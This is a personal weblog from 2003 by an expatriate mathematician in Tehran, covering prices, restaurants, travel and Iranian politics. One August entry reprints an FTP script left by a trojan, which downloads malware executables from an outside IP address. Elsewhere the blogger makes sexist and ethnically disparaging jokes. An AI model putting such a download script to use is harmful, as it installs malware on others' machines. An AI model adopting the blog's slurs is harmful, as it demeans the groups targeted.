Sunday, October 26, 2003

This is the last entry in this weblog. Anything more, and I'll add a link to the bar on the left.

Today I visited Bank Melli in Niavaran and closed my account. The largest denomination bank note in Iran is 10,000 rials, which is $US1.20. I changed my mind after closing it and decided I wanted a 500,000 toman check, the highest denomination they have there (dunno about other banks). It took about half an hour more just to queue and count the 800 or so notes (5000s and 10000s) by machine. This system is good for some, that is, people who don't like to think about their job and people who make note-counting machines, but thousands of hours (lives?) are lost, just for counting notes, why hasn't anyone come up with a solution? The answer is as always, it just isn't a high priority here (cf traffic).

Oh, I will miss Iran and all my friends!! I don't want to go!! But as I wrote to my boss, it's much easier to live in Australia and visit Iran regularly than it is to live in Iran and visit Australia regularly.

OK, I hope you enjoyed reading the weblog!! Even if I did just type in the first thing that came into my head all the time. Or upload a picture of what I ate last night ;-) If you live in Tehran, please start another one in English to replace it, there are all too few. And if you don't live in Tehran, you should come and visit! Bye.

Saturday, October 25, 2003

5,693,584 rials.

I am looking at my last paycheck in Iran, for the month of Mehr. That's $US680. This is what a mathematics post-doc gets here. The question is, why did I stay so long? This is left as an exercise for the reader!

I hate to be harsh, but if you pay peanuts, you get monkeys. The reasons for the brain drain are obvious.

Wednesday, October 22, 2003

Last night I decided to go to Casa Mia in Gandhi shopping center for dinner. The menu was in English. I became curious and asked why it wasn't in Persian, and the waiter said because everyone who comes here is a foreigner!!

On the way back home I decided I simply had to get a photo of the guy who dances all the time outside Cactus Pizza on Bahonar Street near Tajrish. He has lips almost as big as Mick Jagger, and is almost as photo-hungry as J Lo!! I don't know if it is a good job economically, but he is certainly very enthusiastic, frolicking across the road to pose beside my friend's car as well.

Mahathir denigrates Muslims, praises Jews!
In March 2002 I visited Hosseiniyeh Jamaran (Khomeini's old house in Tehran, now a shrine) and the guardian gave my friend a book about "Palestine in the view of the Imam". I see that this bovine excrement is online in English now. Flicking through it, it did teach me a new word, the only word that was completely new to me in the last 18 months, I think: tergiversating.

...these tergiversating pseudo-revolutionaries of little dignity have, in the name of freeing Quds, turned to America and Israel.

Ooooh, someone has been reading the thesaurus!! Words like Quds and Beit-ul-Moqaddas make no sense to most English speakers but tokhme Arabs insist on using them.

Monday, October 20, 2003

Concorde to be grounded. Did you know Concorde used to fly from Paris to Kish Island in Iran? A Paris - Kish memorial card is for sale on ebay for a little while.

I read something pretty funny searching for that. Kish beaches are segregated by sex.

But Saeed, a ladies man who has lived in Paris for a while, seems a bit uncomfortable.

Borzou: What do you think of the beach?
Saeed: It looks like a gay beach.
These signs have been in Tehran for a while, but I failed to notice them until recently.

Father, you arrived home safely!

Of course I did, and it had nothing to with the fact I wore a helmet. Everything is in the hands of Allah, and if something bad did happen you could always blame it on western conspiracy.

Getting back to the earthquake article... this quote is interesting:

Most people think what God wills, will happen. This is absolutely wrong. This thinking is poisonous.

It is a surprising thing to say here (people from Qom must be calling for his head), but one of the reasons 99% of Iranian motorcyclists don't wear helmets is this belief in fatalism.

I was in for a big surprise when traveling through Iran, for some reason I expected little habitation, but found it to be quite modern with numerous fuel stations and very cheap fuel. This was a big change as Turkey had massive fuel shortages that would remain for a number of years to come.[ I did get to have a look in Tehran, the capital of Iran, then still controlled by the Shah. I really liked Tehran, we frequented a great bar with nice mugs of frothy beer, steaks and pizzas. The women in Tehran were beautiful, the ones I noticed were as they had piecing eyes, and appeared to flirt, or was that my imagination. The nice looking ladies at the Tehran telephone exchange were all flirts, but I was aware that playing with these ladies was like stepping into a minefield. While flirting at the telephone exchange, I rang Mick Carroll in London and told him that I could live here in Tehran, I was so impressed with the place.

Trevor Carroll of Australia, April 1978

Saturday, October 18, 2003

True Story!

Once upon a time in Tehran, there was a consul of a small European country called M. M used to throw big parties, and drive down Jordan giving out invitation cards to any pretty girls, and he didn't know most of the people at his parties. At one of his parties one night, he noticed some people out on his verandah smoking grass. He went out and said hello, and one of the guys turned to him and introduced himself to M, and said "Oh by the way, this is my party!!!"

Nojavan recently revealed he isn't human at all - he's from Jupiter. I have a surprise confession too, I'm not human either, I'm a pig. But from hanging around humans so much, I have learned to walk on two legs like those in "Animal Farm" and I really enjoy human food so much more than what I used to eat. Here's some pictures of what I've been porking out on lately.

Last night I went to Borj-e-Sefid restaurant for dinner. I put my bag down and fifteen minutes later I reached down for it to get my camera out for pictures. But it was about 10 feet away!! My companions reminded me that it's a revolving restaurant. Here's a view of Pasdaran from downstairs:

And here is some of the food I and my fellow pigs ate. Jever tastes much like normal beer. Here it was 2150 tomans for the can, which is quite high... but this was the restaurant where you could have caviar for your appetizer (29900 tomans for 70g) or book ostrich meat in advance (~11500 tomans).

Yesterday lunch, I went to Taj Mahal restaurant.

Wednesday night, I went to Penguin restaurant near Enqelab Square.

And a bit before that, I went to Ladybird restaurant near Shemshak. Surprise, a fellow diner paid for all three of us, being deeply in love with my friend's twin sister. My friend interpreted that as a "gentlemanly" act I think, I am concerned about how "gentlemanliness" is often connected here with the willingness of the man to pay. But maybe more on that later.

Thursday, October 16, 2003

I just finished reading the report. It's worth 100 political English weblogs by people in Iran. It's so difficult to get a quality ranking on information on the Internet, but trust me, this is the best there is about the Iranian situation now. It captures everything I could possibly say. I kept saying something like "Right On!" all the time, it is all so true, unlike so much neo-con reporting, (glad Ledeen's shut up recently though) wishful-thinking (cough NITV, cough SMCCDI)-type reporting, this is all objective, all factual.

It's the product of people who've interviewed people in Iran over a long period of time, not just foreign journalists who jet in and out. That's why ICG analysts are so highly paid.

One caution though, foreign diplomats here can be pretty out of touch. I've been to this one Western consul's parties a lot and he earns an order of magnitude more than I do. Of course he's out of touch with what ordinary people think, it can't possibly be otherwise.

Wednesday, October 15, 2003

Iran: Discontent and Disarray. The International Crisis Group's report is finally here!

Just a comment on the title... a veteran Afghanistan traveller spoke about Afghan culture...

"Western policy strives to find a unity of order in Afghanistan; however, the prevailing trend is a unity of chaos. Used to order westerners see chaos as failure. It is an alternate system alien to western thought, but that does not mean it cannot work."

It must be some kind of updated "noble savage" theory. Chaos is failure, come and look at the traffic here, look at the traffic death rate 10 times the US. "Organized chaos" is everywhere, things happening at the last minute, Iran can't compete... OK too much politics, back to everyday life.

Tuesday, October 14, 2003

Peace prize is not very important - Khatami. After six years, it's not possible to distinguish between him and the hardliners.

Saturday, October 11, 2003

As all know Shirin Ebadi won the Nobel Peace Prize this year. Talking to people I found out her father Ahmad Ebadi was the teacher of Shajarian. You all know who that is, right?? If not, go search, while Iranian items enjoy a momentary upsurge in the news...

Reuters broke the story 15 minutes before the official announcement after the committee called her husband (8:45 local time). IRNA didn't cover it until 15:30. On returning to Iran on Thursday, for me it was like a plug had been pulled on information sources... but they have a net place in the airport now. Iran can't be isolated forever.

Wednesday, October 01, 2003

Isfahan: it should be the capital! Often I wonder, is that shaking a couple bonking next door or is it the BIG ONE, and it's time to dive under my desk?

Because of all these earthquakes, there are important religious questions to consider! A story all Iranians know concerns Ayatollah Gilani and his television show. (paraphrased from an article there:)

There's a two-story house, a woman is sleeping on the first floor and her
nephew on the second floor. Now if there is an earthquake and the second floor
collapses onto the first floor and the nephew falls on the aunt and she gets pregnant, is
this child a bastard or not?

More Islamic wisdom from Mr Gilani.

Nothing to say now. I know the next crisisweb report on Iran is coming out before October 31. If you read news articles, they say Iran won't make the October 31 IAEA deadline. Sanctions (tahrimha) are coming. Before then is a good time for me to leave Iran, then. I'm going on holidays for a week now...

Monday, September 29, 2003

yas-e-no closed. In Iran now "they" can close papers based on what the paper doesn't publish and where it is not published!

Sunday, September 28, 2003

US Government Bill to stop Iranians and others ever coming to US. I couldn't believe it was true so I searched with google "site:gov gresham barett 3075", hmm it was true. It just sounds ridiculous, doesn't the USA want olympiad winners to study at Harvard or MIT anymore? The only prescription I have for people like Mr Barrett is to visit Iran for themselves... it makes as much sense to block people with "hatred in their eyes" or "large, Khomeini-like beards". There's enough stupidity with the passport application process in Iran. I met a guy who said that he grew a beard for his passport in the hope that they would process his application faster! Now he says he really does look like a "terrorist" on his passport!

Don't set understanding of each others' cultures back... people who are motivated enough to try to leave their home country are the people most likely to accomplish the most in their new society. (bill link from comments on freethoughts.)

Saturday, September 27, 2003

My driver from Tabriz was happy that in Shahin Dezh he could buy tea from Rayat (in Iraq).
Over the last few days, I visited Tabriz, Qareh Kelisa, and Takht-e-Soleiman. Qareh Kelisa is an extraordinary church located near Maku, far away from anything else. Perhaps only isolated buildings can survive long periods of time, as there were many buildings to see in Tabriz but earthquakes have damaged or destroyed many of the famous ones there.

Takht-e-Soleiman was like Persepolis without bas-reliefs, really. I loved the setting with the lake in the middle. I didn't really understand the significance of the place, but I bought a book there which should help. If you want to visit either of these places on a day trip from Tabriz, it will cost you about $US40 for a round trip, which is 500km or more in both cases. It is good value for foreign tourists!

The car situation in Kabul sounds similar to Tehran - a few are very rich, with the BMWs, Mercedes, and Maximas. (The Maxima had a terrible accident and became a Minima!!) Mahboubeh told me that the Afghan Health Minister Dr Saddiq makes about $13 a day (I think?) so I don't know what kind of government officials they are talking about in the article.

sorry if I didn't get to your email - spam and travel are distracting. another catch-up session soon!

Tuesday, September 23, 2003

Ali Dizaei was a London poice superintendent born in Iran, cleared of all charges recently after an expensive investigation. Newspapers thrive on controversy so they've interviewed some of his ex-girlfriends. Like mojtaba I find I can't stop reading about it.

Ex-girlfriend Mandy is relieved her traditional Iranian beliefs helped her fight off the twice-wed Casanova cop's romancing. It sounds like he followed the advice on Iranian courtship traditions to a tee. And somehow her ``traditional Iranian beliefs'' didn't stop her from working as a stripper.

Weren't his death threats a crime in the UK? His salary of 52k pounds a year sounds like a lot in London, I don't know if it is in reality.


Iran to cut nuclear co-operation. The attitude of the government: Iran is like a cat in the corner, nothing left to do but to attack all comers. This doesn't make sense, but the foreign policy never did to me. It's a diplomatic catastrophe.

Montazeri condemns US embassy seizure. What's wrong with US media, why don't they cover the critics of Iran's government? He also called for immediate renewal of relations with the US government! (links from iranvajahan.)

Saturday, September 20, 2003

Wine-drinking women more fertile! If you want children drink up... combined with Iranian food... (picture of today's lunch with cabernet sauvignon soon).

Australian treasurer visits Palestine.

"We've heard their (Palestinian) views," replied Mr Costello. "Obviously as you try to move forward there has to be confidence building, so that both sides can trust each other . . . My view is that you either can or can't crack down on people that support terrorism. It is a funny proposition to say that you will only do it on a conditional basis."

He's right... but ending Israeli assassinations would improve things too, don't you think? Being a diplomat is tricky, everyone interprets what you don't do as well as what you do do.
Based on the names, where would you rather live... a city where all the street names are Shahid (Martyr) This or Shahid That, or a city where the places have romantic names like "Arefan va Asheghan" ("Gnostics and Lovers")? The long-term future of Kabul should be good. The very names are more uplifting than Tehran. At least my friends from Kandahar think so. I've heard that mobile phones in Afghanistan are affordable for normal people!

French travel advice for Kabul: ``avoid the places with strong concentration of expatriates (restaurants, "chicken and flower streets").'' If you can't visit Chicken Street there's no point in going.

Thursday, September 18, 2003

Tuesday, September 16, 2003

"Better is the wickedness of a man than a woman who does good;
it is woman who brings shame and disgrace." --
Jesus son of Sirach, 200 BC.

"Women are not loyal, they possess inferior morals. The most respectable amongst them is still disreputable and the disreputable ones are scandalous, except for the few who under the refuge of god have been saved from corruption." -- Ayatollah Meshkini, 2003.

The men of religion have not come very far in 2200 years...

Deported Iranian admits he lied. It's a story about an Iranian who made up a story in order to get asylum. Many Iranians will do anything, say anything, and forge anything in order to get a visa. I think I've talked about this before. What was surprising about this story is for how long everybody believed it! Also, why did he leave if he had a spare $US5000? He must have had serious delusions about Canada, and was suffering from "the-grass-is-always-greener-on-the-other-side" syndrome. Another lesson is that refugee activists in the West are quite gullible. Who is paying for all the lawyers?

A Western diplomat once said to me: "Iranians have three favourite sports. The third most popular is football, the second is tax fraud, and the first is visa fraud. When Iranians are in Iran, they want to leave, and when they are out of Iran, they want to come back." The story about Ganj Nameh below is about cultural alienation, which explains this strange phenomenon.

Monday, September 15, 2003

Oh no, I didn't update! I didn't go to Khazar Shahr this time. Worse, I went alone to Shush, Choqa Zanbil, and Hamadan. Worse because I had the opportunity to visit Tabriz with a diplomat friend and his friends.

Wednesday lunch I went to Monsoon on Gandhi St and it was 12,800 tomans for 2 people. The place was full of foreigners, maybe only non-Iranians can afford it!!

On Saturday I was at Ganj Nameh near Hamadan. And I heard a girl about 20 say "who was ahura mazda? what country was he from? germany?"

Immediately I told her that I was ahura mazda, and to demonstrate my omnipotence I used my power to throw her off the cliff. Just before she hit the ground I demonstrated my omnibenevolence by having her float down into the water.

The last part didn't really happen but I did laugh!!

Some Swiss tourists are visiting Iran, keeping a German travelogue. They said that parts of the Caspian coast are like a big rubbish zone... on the way back from Hamadan to Tehran I looked out the bus window and I saw plastic bags everywhere, particularly where there were shops.

Tuesday, September 09, 2003

More shots fired at UK embassy in Iran. There can't be much doubt now this is official policy.

International Universities of Iran

I've heard of four so far. With time, more will open on Kish Island.
What's the name of the food court that will open at the top of Milad-e-Noor building in Shahrak-e-Gharb? There's a website with in the name but I forgot what it was.

Monday, September 08, 2003

I've been having lots of dreams about North Korea the last few nights. It's like "The Call of Cthulhu"!! We will all wake up to a different world when they test the nuclear bomb.

There's a small statue of Hessabi in Tajrish Square... mullahs didn't like it. Martyred mullahs get much more recognition than Iran's most famous scientists. A linguistics professor told me once there's lots of money for missionaries but little for science, anyway the picture is worth 1000 words. See if you can find Hessabi's statue!

Ebrahim Nabavi is as funny as ever, confessing on Voice of America as Mohsen Sazegara and Siamak Pourzand to all sorts of crimes!! He says to the foreign radio station: "Sorry, I can't come, I'm confessing!". Last Friday he was a confused journalist: (realplayer link)


Where was I last week? I was in Shahroud. Next week maybe I'll bring you a report from Khazar Shahr!!

Saturday, September 06, 2003

Khamenei lives in Niavaran, Zahir Shah lives in Wazir Akbar Khan. Therefore, Wazir Akbar Khan is the Niavaran of Kabul.

Thursday, September 04, 2003

Comments on a Free Thoughts article explain dating in Iran.

Independent writes about likely culprits in the British Embassy shooting:

But it is more likely that the shootings reflect the struggle for power in Iran and were ordered by hardline religious conservatives eager to provoke the moderate President Mohammad Khatami into tougher action against Britain.

If you live in Chicago, from October 4 to November 2 the Gene Siskel Film Center is showing lots of films which showed at the Fajr Film Festival this year.

($US1 = 8550 rials)

Wednesday, September 03, 2003

Miss Universe looks friendly. Jennifer Garner has a great posture! It must have been the years of ballet.
The rial slipped to 8500 to the dollar. This means it's a policy of "them" though I didn't read about it.

The Bonyad-e-mostazafin (foundation of the oppressed/dispossessed) spends 800,000,000,000 tomans (about $US1 billion) per year on martyrs' cemeteries!

I always thought when you couldn't solve a problem you had to break it down into smaller parts. But Mehdi Behzad said to me, quoting Poincare?, "When you can't solve a problem, generalise it!". It worked for Perelman. And it is one of the suggestions of Polya in How to Solve It.

Wednesday, August 27, 2003

The Iranian rial today slipped to 8420 to the US dollar. Not that you (most of my readers) are affected by it... I can't explain it, whether it has something to do with oil/OPEC or central planning or maybe someone read payvand... if I listen I'll hear cries of "7 tomans to the dollar before revolution".

Monday, August 25, 2003

President Khatami demanded...


In the tradition of a recent free thoughts on Iran article... (apologizes is usually spelt with "z" on net)

number of google results for "iran apologizes": 2
number of google results for "iran apologized": 2
number of google results for "iran demands": 520
number of google results for "iran demanded": 227

You can compare this to any other country - check the ratio. IRI foreign policy is conducted in a terrible fashion. No-one can take a petulant child seriously.

Saturday, August 23, 2003

On Friday I went to the main Assemblies of God church in Tehran, on the corner of Qods and "Father" Taleghani Street. There were about 600 people in the congregation! The preacher talked about the place in Genesis where God says to Adam: "where are you?" and applied it to ... everyone... He walked back and forth across the stage as he talked... like a pendulum...

A council of the EU report wrote:

It is mainly the Protestant churches that accept converts. With the exception of the Assemblies of God, however, they take a very reticent line on admitting new members to their faith.

Again I have to admire people who stand up for their beliefs like that.

Wednesday, August 20, 2003

Hamas, IJ kill 20 people. "Officials from Hamas and Islamic Jihad say the blast does not mean an end to the cease-fire announced by militant groups in late June." The concept of truth has no meaning to these kinds of people. They can't even agree on the meaning of words like "cease-fire"... it's easy to carry out this kind of attack, it only takes a few people. (Plus a very young population with no clear concept of morality.)

I wonder who's behind these attacks - see this mural in Tehran: "Israel must be destroyed" -- Imam Khomeini. There are pictures of two Arabs named "Monif Ashmar" that no-one has ever heard of. For the American readers imagine that New York city had murals about Bolivian terrorists you'd never heard of. Suppose the murals said: "Bolivia must be destroyed." -- Richard Nixon. What would you think?

Baghdad: IPS explains what can't be explained. It sounds like excuses to me.

Last night I went to visit the Zoroastrian centre near the Russian embassy. I find Zoroastrianism really interesting. In England, a bishop, Thomas Cranmer wrote most of "The Book of Common Prayer" for the Church of England in 1549, and in one place he wrote: "ALMIGHTIE GOD father of oure Lord Jesus Christ, maker of all thynges, iudge of all men, we acknowledge and bewaile our manyfold synnes and wyckednes, which we from tyme to tyme, most greuously haue committed, by thought, word and dede."

Now that last part is straight from Zoroastrianism's motto: good thoughts, good words, good deeds. (pendareh nik, goftareh nik, kerdareh nik). All of the major monotheistic religions have elements from Zoroastrianism. Judaism, Islam, and Christianity divide the world up into two halves, and in Islam it's divided into another two halves (men and women). If you want to convert from Islam to another religion, Islamic law says you must be killed. But in Zoroastrianism all people are equal and there are no apostasy laws. Once Mr Khamenei called Zoroastrians "apostates" despite Zoroastrianism predating Islam by more than 1000 years. And a Zoroastrian leader denounced him, and said: you don't have the religious authority in Islam to even make these kind of pronouncements. So I admire anyone who stands up for their rights like that, especially to such a person! In Iran many people, not just Zartoshtis, say: "We had a good religion before the Arabs invaded and imposed Islam." Remember the motto!

PS: You can go in reverse, believing in the division of people into two groups then instantly being changed.

Around the same time, I found myself in a Cambridge cafe having supper with some friends. We were on our way to a lecture by Harvey Cox, whose books I'd always found fascinating, though I'd filled their margins with vociferous criticisms. I suddenly thought, "Listen, is there really that much difference 'them' and 'us'?" I had always accepted the qualitative difference between the "saved" and the "unsaved." Until that moment, it was as if I and my fellow-seminarians had been sitting in a "no-damnation" section of an otherwise "unsaved" restaurant. Then, in a flash, we were all just people. My feeling about evangelism has never been quite the same.

What sort of humour is available in Tehran? If you are only reading Persian language newspapers, or just papers on the web, you are missing some of the most hilarious advertisements to appear in print anywhere! North Korea's national day is on the 9th September. In the leadup to it you will see ads like this (from 9th September last year). "Anyone who has never made a mistake has never tried anything new." -- Albert Einstein

Saturday, August 16, 2003

Hobo Traveler, an American traveler, is in Mosul, Iraq, and has an interesting picture from Arbil:

Nojavan links to pictures of people mourning for the 3rd imam. ;-)

Washington Post writes about the Iranian government giving $3 million to Islamic Jihad. Transparency in the budget would help prevent this kind of atrocity...

One of my correspondents asks for the 1,000,000th time on thorntree about being an American travelling alone to Iran :-)

Economist writes about "All the Shah's Men" a book about the 1953 coup in Iran:

In Iraq, it took coalition forces only a month to oust Saddam Hussein, despite being outnumbered almost two to one on difficult enemy terrain. In Iran, the same period elapsed between presidential approval and the coup. Admittedly MI6 had already laid the groundwork by establishing a network of operatives. But it is still astonishing how readily Roosevelt and his Iranian agents found mobs-for-hire, happy to riot for pay with no questions asked. Mix mobs with a sustained press campaign and corrupt military officers, and voilĂ : regime change. The really cautionary tale of Mr Kinzer's book is how easy it would be for any democracy erected by America and Britain in the Middle East to fall again.

I promise to take more photos!

Thursday, August 14, 2003

My win2k computer didn't get msblast (just my officemate's win xp computer), but it got hacked with a trojan I hadn't seen before, using the same method, probably.
In \winnt\system32 I found "firedaemon.exe" and "winlog.exe" and a file called "a" with this code:

open 213.93.xx.x 4101
user get get
get winlog.exe
get servudaemon.ini
get firedaemon.exe
get cygwin1.dll
get win.bat

So, when people say Kiddie Porn: the virus did it I have some reason to believe it. My computer runs a lot faster now and there's more free space on the disk, though I haven't discovered if the hackers put anything onto it. Googling for "winlog firedaemon" turns up nothing relevant, although firedaemon is a good hacker's tool for running things in the background.

Tuesday, August 12, 2003

A lecturer from Sharif came to give his talk at the conference. The administrator turned on the computer, but as soon as he loaded his talk the message "shutdown in 30 seconds" occurred in Windows XP. This worm is really a pain for some people who didn't patch their Microsoft systems.

"I heard about my son on Al-Manar TV. Nobody can be happy when he loses his son. I feel that I lost a part of myself. I didn't expect that my son could perpetrate an attack like this," said the sobbing father.

A very big problem with having a very young society like Palestine's (47% of refugees under 20!) is the lack of discipline in the society - the young make the rules and are very impressionable. One person can easily wreck the lives of many others... for example if your dad hears on TV that you blew yourself up.

Saturday, August 09, 2003

Last night I went to a party. I remember saying I was interested in the idea that the best movies are relatively unknown. At the party I heard a great song by Davut Guloglu, Katula Katula, it was the best dance song I have heard in years, it would make your grandmother dance... listen to it if you can. I hadn't heard of him before, of course he's not unknown in Turkey.

Friday, August 08, 2003

MSNBC has a "rare interview" with North Korea's highest-ranking defector Hwang Jang Yop. What does he say the US should do?

What should the United States and other countries do?
If the United States accepts 10,000, 20,000, up to 30,000 North Korean defectors, that will deal a fatal blow to Kim’s regime.

How are the North Koreans supposed to get to the US?? They have nowhere to run. I don't pretend to be informed about the situation, so I want to read Norbert Vollertsen's book to learn more about North Korea. But if Mr Yop is really right, the NK situation is much more China's responsiblity than the US's, because it's the Chinese who are trying to do everything to stop North Koreans seeking asylum at Beijing embassies.

I want to know where the resort on the Caspian for the North Korean scientists is. I've talked to South Koreans here who say they've seen North Koreans here but they always have minders. Funny that.

Wednesday, August 06, 2003

Last night I saw The Mothman Prophecies in Farhang Cinema on Shariati St. I was in an awful seat, second from the front at the far right, next to the fan. I checked out Screen It to see what had been censored out - some remarks didn't make sense - Richard Gere's character suddenly said to his wife "we should get a mattress for that closet" and it was impossible to understand why he said it. Ebert explained some more. Censorship didn't make a great deal of difference, and it wasn't a good film anyway. The cinema was packed though, hence the bad seat.

Afterwards I got a flyer for a coffeshop, hmmm, open until 1am and 12% discount for the left-handed.

Tuesday, August 05, 2003

I'll try not to think about Jakarta. The ghouls at the BBC have already set up a your experiences page though. If your country name begins with I unless it's Iceland, Ireland, or Italy, you have some sort of terrorist problem (NB Northern Ireland begins with N).

Today I read about chess a bit. An interview with Jennifer Shahade from ChessBase. She said "chess is patriarchal - I sound like a college student - it's a war game, a zero-sum game that rewards ruthlessness, not cooperation." I condemn Ms Shahade for her sexist statement and sweeping generalisation.

Speaking of female chess players, I think the best-looking specimen is Almira Skripchenko, pictured below (sixth female player in the world). Wow, you don't have to play a physical sport to be a babe, huh? Chicks like Anna K just get too much exposure for too little talent. I'll choose the brains any day. I must go to Moldova sometime and see if they're all this hot.

Of course, other deserving female chess players, like Olita Rause, ranked fifth overall in the world in correspondence chess, don't get as many pictures taken of them. In fact correspondence chess ratings don't mean much at the top, so she might be the best in the world.

In another distraction, I tried to answer the question of: Where is the next Ibiza or Goa? Believe it or not some people are suggesting Vancouver. It really will become the best city for expatriates. I was looking at the University of Victoria homepage - everything looks so beautiful... all Iranians want to move there...

Azam hasn't posted for a while, maybe that's because I told her about The Smiths, and she downloaded lots of their songs and killed herself. I saw a great movie at a party the other night, it was called 24 Hour Party People. (I was the only person to stay awake through it all.) It was about this producer called Tony Wilson and the music scene of Manchester in the 80s. A month ago I was there, I went to a nightclub called resurrection at 42nd street and I finally swore that nightclubs aren't my thing. I hate smoking and who can talk over the noise (so why did I research the above question?). I suppose I thought clubs would be somehow "better" or "different" in such a well-known clubbing city. One good thing about Manchester is that Mr Mortazavi thinks Manchester University is a "den of counter-revolutionaries." If he hates it, that must mean it's a great university!

Monday, August 04, 2003

Khatami Does Not Have Anything to Give to Iranians



In an interview with a Dutch daily, Seyed Hossein Khomeini called for the separation of religion from politics, the conservative daily reported. According to this newspaper, which has had an interview with Seyed Hossein Khomeini in Iraq, the grandson of the founder of Islamic Republic of Iran has said the people do not trust reformists anymore while Mr. Khatami does not have anything to give to the people. This daily wrote that Seyed Hossein Khomeini has noted we expect great events in Iran. In response to whether U.S. forces would be able to bring freedom to Iran, he responded that if only Americans can bring freedom to Iran, let them do so. Seyed Hossein Khomeini, the son of Ayatollah Haj Mostafa Khomeini, supported Bani-Sadr in the early years of the Islamic Revolution. After Bani-Sadr's escape from Iran to France, he went to Qom and, on the recommendation of Imam Khomeini, he was prohibited from participating in politics. After the fall of Saddam Hossein, he went to Iraq.

I read it first at Radio Farda then in today's physical Iran News quoted above, and at

I was surprised by the above quotes appearing in the Iranian physical newspaper, but they left some stuff out too:

The young Khomeini -- here ostensibly on a religious pilgrimage to Shi'a holy sites in Najaf, Karbala and Baghdad -- praised the U.S. takeover of Iraq.

"I see day-by-day that (Iraq) is on the path to improvement," he said. "I see that there's security, that the people are happy, that they've been released from suffering."

I'm still having trouble getting over the phrases in the same sentence! ... "... Khomeini ... praised the U.S. ..."

Original article at NRC online translation gives something like: ``Khomeini calls the religious leaders "dwarfs" who can only rule by appealing to the memory of his grandfather. He finds that Iran has become a religious dictatoship.''

Sunday, August 03, 2003

Car prices

I found a good link about Car Prices in Iran. As far as I have checked, they are all correct. The exchange rate is 830 tomans to 1 US dollar. When I see so many Maximas in the streets, I don't know how anybody affords it... I am 26, and earn approximately $US1000/month. Unfortunately I live like a wastrel, but if I lived like a dervish maybe I could save 90% of it. It would still take (me alone) more than a year to save for the cheapest car which isn't a pile of crap, the Daewoo Cielo.

Thursday, July 31, 2003

I'm pretty busy still... I was asked to link to Parvandeh and ActivistChat. Looking through my referrer logs, I really should add mojtaba akhtari, Iranian Truth and maykadeh.

The streets are covered in black signs, because Saturday is the day of the martyrdom of Hazrat Fatima Zahra. Also it is the day of the martyrdom of Sheikh Fazlollah Nouri. He is a hero of the ayatollahs because he opposed democracy during the Constitutional Revolution. Just like all fundamentalists, he thought because "God said so" that Muslims/men should be worth more than non-Muslims/women. He was hanged in 1909. One day I was going down Nouri Expressway with a friend and pointed to his picture, saying it looked like Osama bin Laden. My friend said "If he had lived, he would have become just like Osama bin Laden!" Since then it's been changed to look less Osama-like.

I was going to say it's a waste of thought space to even think about Nouri but then I realised he taught an important lesson - you should not listen to or obey mullahs when it comes to politics - what could they possibly know or have to say about important matters like the constitution?

Tuesday, July 29, 2003

Iranian Tourism Promotion

The north of Iran is very beautiful and you should visit. Very poor attempts at subliminal suggestion follow.

I have a friend called Miranda and she is very beautiful. Be sure to put on antiperspirant so that you impress her. You also should visit her very soon.

Shirabad waterfall, Golestan province

Khazar Shahr is like a "gated community" for the richest people in Iran, thus Islamic restrictions are not so rigidly enforced. It's near Babolsar, so find some rich friends with a villa there and go check it out!

Monday, July 28, 2003

I returned from my trip to the north. I went with a diplomat and his friend, and they are studying Persian at the Dehkhoda Institute in Tehran. Most of this blog's visitors are from the US, so I thought if any of you are interested in visiting Iran, I should talk about ways to get a visa. I think this way is the best, because the students said there were several Americans in the class. This is a link with some information about that institute.

Friday, July 25, 2003

I'm in Gonbad-e-Kavus now. My best suggestion for the Canadian government to get results is: block students from going to Canada! Everyone at Sharif wants to go there! This increases the pressure on the Iranian government by keeping the students in Iran... like slamming the lid on the pot of boiling water.

Tuesday, July 22, 2003

Is the US responsible for everything that goes wrong in Iran? Brilliant post from Usenet.
Donkey lover sues. Donkeys often carry things up the mountains at Darakeh, but the most overloaded donkeys I've seen are at Kolakchal. Donkeys are considered the stupidest animals by Iranians. I think the lawsuit is a positive step, because kindness to animals is not a virtue held in high regard in Iran. In Israel things are rather different. (The Islamic ideal is on the same site.)
I have always been fascinated by the idea that there is a masterpiece film that no-one has ever heard of... or that no-one has ever heard of or seen some of the best films ever made. To support this idea, there are really good films (well known in Iran, for example) that are not in the Internet Movie Database at all. One of them is showing only in Iran and Japan right now. It is a fantastic film about cultural clash and exchange called "Wind Carpet". It has an official Japanese site. It won the audience award at the 2003 Fajr Film Festival and also won an award at the 2002 Tokyo Film Festival. If you are visiting Japan or Iran you should go and see it! I feel privileged that I can. (In general I don't like Hollywood movies much - there is absolutely no reason why lots of money should result in good films - it's far more likely that "the money turns everything to crap".)

Monday, July 21, 2003

Mortazavi to investigate Kazemi's death. It's much more and much less than a joke, it's a crime. She was interrogated by him, he apparently tried to cover up her death with the stroke story, and now he is the investigator? And what are the "reformists" going to do? As usual, nothing! As Ladysun might say, no-one seems to give a shit. "They" commit crimes, then investigate and exonerate "themselves", while reformists stand around and bitch about it. I hope other countries start backing Canada up right now.

Of course Khatami has no intention of resigning. He wants to stay until "the end" - just to clarify, that means June 2005! I know this is not hard to see, but emotions always get in the way of clear vision, which is why I love Economist/ICG so much.

Mr Asefi thinks Iran is a "free society".

Bandwidth Limit Exceeded
The server is temporarily unable to service your request due to the site owner reaching his/her bandwidth limit. Please try again later.

Apache/1.3.27 Server at Port 80

(7:11pm Tehran time) Hmmmm, Yas-e-no is a reformist paper. One of two things has happened - the host is very popular, or the victim of a denial-of-service attack. Does it happen often?

(I was looking at a new English blog Free thoughts on Iran and tried to go to the Sharif petition link.) It's important not to be silent, like the writer said.

Sunday, July 20, 2003

Mortazavi is not fit to be a judge says MP Mohsen Armin; his boss Shahroudi (the Iraqi) is investigating Ms Kazemi's death!!! Unbelievable. You can see nothing is going to happen, with the judiciary investigating itself. Still, if the hardliners can somehow engineer another crisis, that will be good for them.

Saturday, July 19, 2003

Canada travel warning.

However, she said Canadians are being cautioned to put their travel plans to Iran on hold because of the death in uncertain circumstances of photojournalist Zahra Kazemi.

Margaret Wente writes about ZK and the illusion of reform in Iran; Iranian Girl writes about Mr Mortazavi's shoe.

"I don't think it's very bad. If they filter porno sites I don't think it's going to kill anyone."

But it might, you know, if men can't masturbate to porno sites, they could get cancer!! (see below) I think I need to start a petition about this, a la the other mind-bogglingly stupid Petition about another CNN story.

